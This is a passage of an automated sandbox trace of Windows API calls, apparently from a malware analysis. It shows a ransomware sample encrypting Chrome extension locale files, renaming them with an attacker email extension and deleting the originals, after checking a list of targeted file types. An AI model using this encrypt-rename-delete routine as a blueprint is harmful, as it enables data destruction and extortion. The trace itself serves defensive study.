hFile=0x124, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0177.580] ReadFile (in: hFile=0x19c, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0177.580] WriteFile (in: hFile=0x124, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0177.581] SetEndOfFile (hFile=0x124) returned 1 [0177.581] CloseHandle (hObject=0x124) returned 1 [0177.581] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.581] SetEndOfFile (hFile=0x19c) returned 1 [0177.582] CloseHandle (hObject=0x19c) returned 1 [0177.582] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_HK\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0177.582] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_HK\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_hk\\messages.json")) returned 1 [0177.582] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_HK\\messages.json") returned 154 [0177.582] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_HK\\messages.json") returned 154 [0177.582] lstrlenW (lpString=".doc") returned 4 [0177.582] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0177.582] lstrlenW (lpString=".docx") returned 5 [0177.582] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0177.582] lstrlenW (lpString=".pdf") returned 4 [0177.582] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0177.582] lstrlenW (lpString=".xls") returned 4 [0177.583] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0177.583] lstrlenW (lpString=".xlsx") returned 5 [0177.583] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0177.583] lstrlenW (lpString=".ppt") returned 4 [0177.583] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0177.583] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_HK\\messages.json") returned 154 [0177.583] lstrlenW (lpString=".zip") returned 4 [0177.583] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0177.583] lstrlenW (lpString=".rar") returned 4 [0177.583] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0177.583] lstrlenW (lpString=".bz2") returned 4 [0177.583] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0177.583] lstrlenW (lpString=".7z") returned 3 [0177.583] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0177.583] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_HK\\messages.json") returned 154 [0177.583] lstrlenW (lpString=".dbf") returned 4 [0177.583] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0177.583] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_HK\\messages.json") returned 154 [0177.583] lstrlenW (lpString=".1cd") returned 4 [0177.583] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0177.583] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_HK\\messages.json") returned 154 [0177.583] lstrlenW (lpString=".jpg") returned 4 [0177.583] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0177.583] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_HK\\messages.json") returned 154 [0177.583] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_HK\\messages.json") returned 154 [0177.583] lstrlenW (lpString=".doc") returned 4 [0177.583] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0177.584] lstrlenW (lpString=".docx") returned 5 [0177.584] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0177.584] lstrlenW (lpString=".pdf") returned 4 [0177.584] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0177.584] lstrlenW (lpString=".xls") returned 4 [0177.584] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0177.584] lstrlenW (lpString=".xlsx") returned 5 [0177.584] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0177.584] lstrlenW (lpString=".ppt") returned 4 [0177.584] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0177.584] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_HK\\messages.json") returned 154 [0177.584] lstrlenW (lpString=".zip") returned 4 [0177.584] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0177.584] lstrlenW (lpString=".rar") returned 4 [0177.584] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0177.584] lstrlenW (lpString=".bz2") returned 4 [0177.584] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0177.584] lstrlenW (lpString=".7z") returned 3 [0177.584] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0177.584] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_HK\\messages.json") returned 154 [0177.584] lstrlenW (lpString=".dbf") returned 4 [0177.584] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0177.584] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_HK\\messages.json") returned 154 [0177.584] lstrlenW (lpString=".1cd") returned 4 [0177.584] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0177.584] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_HK\\messages.json") returned 154 [0177.584] lstrlenW (lpString=".jpg") returned 4 [0177.584] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0177.585] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0177.585] lstrlenW (lpString="messages.json") returned 13 [0177.585] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_tw\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0177.585] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=170) returned 1 [0177.585] CloseHandle (hObject=0x19c) returned 1 [0177.585] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_tw\\messages.json")) returned 0x2020 [0177.585] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_TW\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_tw\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0177.585] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_tw\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0177.586] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.586] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.586] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_TW\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_tw\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0177.586] GetLastError () returned 0x0 [0177.586] ReadFile (in: hFile=0x19c, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0xaa, lpOverlapped=0x0) returned 1 [0177.587] WriteFile (in: hFile=0x124, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xb0, lpOverlapped=0x0) returned 1 [0177.588] ReadFile (in: hFile=0x19c, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0177.588] WriteFile (in: hFile=0x124, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0177.588] SetEndOfFile (hFile=0x124) returned 1 [0177.588] CloseHandle (hObject=0x124) returned 1 [0177.588] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.588] SetEndOfFile (hFile=0x19c) returned 1 [0177.589] CloseHandle (hObject=0x19c) returned 1 [0177.589] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_TW\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0177.589] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_tw\\messages.json")) returned 1 [0177.590] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_TW\\messages.json") returned 154 [0177.590] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_TW\\messages.json") returned 154 [0177.590] lstrlenW (lpString=".doc") returned 4 [0177.590] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0177.590] lstrlenW (lpString=".docx") returned 5 [0177.590] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0177.590] lstrlenW (lpString=".pdf") returned 4 [0177.590] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0177.590] lstrlenW (lpString=".xls") returned 4 [0177.590] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0177.590] lstrlenW (lpString=".xlsx") returned 5 [0177.590] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0177.590] lstrlenW (lpString=".ppt") returned 4 [0177.590] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0177.590] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_TW\\messages.json") returned 154 [0177.590] lstrlenW (lpString=".zip") returned 4 [0177.590] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0177.590] lstrlenW (lpString=".rar") returned 4 [0177.590] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0177.590] lstrlenW (lpString=".bz2") returned 4 [0177.590] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0177.590] lstrlenW (lpString=".7z") returned 3 [0177.590] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0177.590] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_TW\\messages.json") returned 154 [0177.590] lstrlenW (lpString=".dbf") returned 4 [0177.590] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0177.590] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_TW\\messages.json") returned 154 [0177.590] lstrlenW (lpString=".1cd") returned 4 [0177.590] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0177.590] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_TW\\messages.json") returned 154 [0177.590] lstrlenW (lpString=".jpg") returned 4 [0177.590] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0177.591] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_TW\\messages.json") returned 154 [0177.591] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_TW\\messages.json") returned 154 [0177.591] lstrlenW (lpString=".doc") returned 4 [0177.591] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0177.591] lstrlenW (lpString=".docx") returned 5 [0177.591] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0177.591] lstrlenW (lpString=".pdf") returned 4 [0177.591] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0177.591] lstrlenW (lpString=".xls") returned 4 [0177.591] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0177.591] lstrlenW (lpString=".xlsx") returned 5 [0177.591] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0177.591] lstrlenW (lpString=".ppt") returned 4 [0177.591] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0177.591] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_TW\\messages.json") returned 154 [0177.591] lstrlenW (lpString=".zip") returned 4 [0177.591] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0177.591] lstrlenW (lpString=".rar") returned 4 [0177.591] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0177.591] lstrlenW (lpString=".bz2") returned 4 [0177.591] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0177.591] lstrlenW (lpString=".7z") returned 3 [0177.591] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0177.591] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_TW\\messages.json") returned 154 [0177.591] lstrlenW (lpString=".dbf") returned 4 [0177.591] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0177.591] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_TW\\messages.json") returned 154 [0177.591] lstrlenW (lpString=".1cd") returned 4 [0177.591] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0177.592] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_TW\\messages.json") returned 154 [0177.592] lstrlenW (lpString=".jpg") returned 4 [0177.592] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0177.592] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0177.592] lstrlenW (lpString="messages.json") returned 13 [0177.592] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zu\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0177.592] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=194) returned 1 [0177.592] CloseHandle (hObject=0x19c) returned 1 [0177.592] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zu\\messages.json")) returned 0x2020 [0177.592] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zu\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zu\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0177.593] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zu\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0177.593] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.593] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.593] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zu\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zu\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0177.593] GetLastError () returned 0x0 [0177.593] ReadFile (in: hFile=0x19c, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0xc2, lpOverlapped=0x0) returned 1 [0177.594] WriteFile (in: hFile=0x124, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xd0, lpOverlapped=0x0) returned 1 [0177.595] ReadFile (in: hFile=0x19c, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0177.595] WriteFile (in: hFile=0x124, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0177.595] SetEndOfFile (hFile=0x124) returned 1 [0177.595] CloseHandle (hObject=0x124) returned 1 [0177.595] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.595] SetEndOfFile (hFile=0x19c) returned 1 [0177.596] CloseHandle (hObject=0x19c) returned 1 [0177.596] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zu\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0177.596] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zu\\messages.json")) returned 1 [0177.597] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zu\\messages.json") returned 151 [0177.597] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zu\\messages.json") returned 151 [0177.597] lstrlenW (lpString=".doc") returned 4 [0177.597] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0177.597] lstrlenW (lpString=".docx") returned 5 [0177.597] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0177.597] lstrlenW (lpString=".pdf") returned 4 [0177.597] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0177.597] lstrlenW (lpString=".xls") returned 4 [0177.597] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0177.597] lstrlenW (lpString=".xlsx") returned 5 [0177.597] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0177.597] lstrlenW (lpString=".ppt") returned 4 [0177.597] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0177.597] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zu\\messages.json") returned 151 [0177.597] lstrlenW (lpString=".zip") returned 4 [0177.597] lstrcmpiW 